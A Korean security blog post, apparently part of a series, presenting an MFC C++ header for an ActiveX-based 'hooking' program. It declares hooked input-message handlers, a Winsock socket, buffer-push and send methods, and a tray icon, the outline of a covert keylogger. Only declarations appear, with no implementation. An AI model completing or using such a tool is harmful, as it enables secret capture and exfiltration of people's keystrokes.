본문 바로가기

Security/System Hacking

엑티브엑스 컨트롤을 이용한 후킹 프로그램 3. 후킹 구현

앞에서 만든 폼뷰(FormView)에 후킹을 해줄 기능을 구현해 준다.

 

 

시간 관계상 설명은 나중에

 

#pragma once

 

#include <winsock2.h>

#include <vector>

#include "TrayIcon.h"

#include "afxwin.h"

 

#pragma comment(lib"ws2_32")

 

#define WM_HOOKED WM_USER+1

#define WM_HOOKEDM WM_USER+2

#define WM_ICON_NOTIFY WM_USER+10

using namespace std;

 

// CChatFormView 폼뷰입니다.

 

class CChatFormView : public CFormView

{

        DECLARE_DYNCREATE(CChatFormView)

        WCHAR Mes2[256];

       SOCKET s;

       BOOL IsStart;

       char buf[256];

       vector<char>vi;

public:

        CChatFormView();           // 동적만들기에사용되는protected 생성자입니다.

        virtual ~CChatFormView();

public:

        enum { IDD = IDD_DIALOG1 };

#ifdef _DEBUG

        virtual void AssertValid() const;

#ifndef _WIN32_WCE

        virtual void Dump(CDumpContext& dc) const;

#endif

#endif

 

public:

        virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV 지원입니다.

 

        DECLARE_MESSAGE_MAP()

public:

        virtual BOOL Create(LPCTSTR lpszClassName, LPCTSTR lpszWindowName, DWORD dwStyle, const RECT& rect, CWnd* pParentWnd, UINT nID, CCreateContext* pContext = NULL);

        LRESULT HookedMessage(WPARAM wParam, LPARAM lParam);

       LRESULT OnTrayNotification(WPARAM wParam, LPARAM lParam);   

       LRESULT HookedMMessage(WPARAM wParam, LPARAM lParam);

 

        afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct);

       afx_msg void OnDestroy();

       afx_msg void OnBnClickedStart();

       afx_msg void OnSysCommand(UINT nID, LPARAM lParam);

       LONG gethostip();

public:

        CString list;

        CListBox c_list;

        CTrayIcon m_TrayIcon;

        afx_msg void OnExit();

       afx_msg void OnClose();

       afx_msg void OnBnClickedMin();

public:

        void SockStart();

       void SendBuf();

       void PushBuf(WPARAM wParam);

};